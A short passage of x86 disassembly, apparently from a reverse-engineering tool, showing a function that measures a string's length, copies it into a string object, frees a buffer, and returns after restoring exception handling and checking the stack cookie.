mov byte [eax], 0
cmp byte [ebp - 0x23], 0
jne 0x4ea86d
xor ecx, ecx
jmp 0x4ea87c
lea ecx, [ebp - 0x23]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ea873
sub ecx, esi
push ecx
lea eax, [ebp - 0x23]
mov ecx, edx
push eax
call fcn.00445cb0
lea eax, [ebp - 0x40]
push eax
call fcn.004ed610
mov ecx, dword [0x540428]
add esp, 0x20
add ecx, 0x2b0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x40]
cmp ecx, eax
je 0x4ea8b8
push 0xffffffffffffffff
push 0
push eax
call fcn.00445490
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x4ea8cd
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.00445a30
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049e623
mov esp, ebp
pop ebp
ret